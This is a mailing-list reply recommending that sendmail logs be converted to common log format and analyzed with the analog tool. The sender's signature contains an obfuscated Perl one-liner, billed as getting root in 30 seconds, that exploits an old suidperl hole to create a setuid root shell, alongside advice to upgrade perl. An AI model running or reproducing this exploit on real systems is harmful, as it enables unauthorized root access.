> anyone know of any good sendmail log analysis scripts? > > a friend wants to generate daily and weekly summaries of mail traffic > on his system.
Well, this is a pretty wacky way to do it, but I produce useable logs by running my sendmail logfiles through a filter that converts them to the common log format used by web servers, and then processing that with a good web log analysis program (I reccommend analog, which I maintain for debian.) For an example of the results, and a better explanation, see http://kite.preferred.com/usage/mail_log.html The filter program (which should handle both sendmail and smail logfiles), is available at ftp://kite.preferred.com/pub/code/maillog2commonlog.pl -- #!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod [EMAIL PROTECTED] $_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_ # Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today.. "true - do nothing, successfully" - - true (1) -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]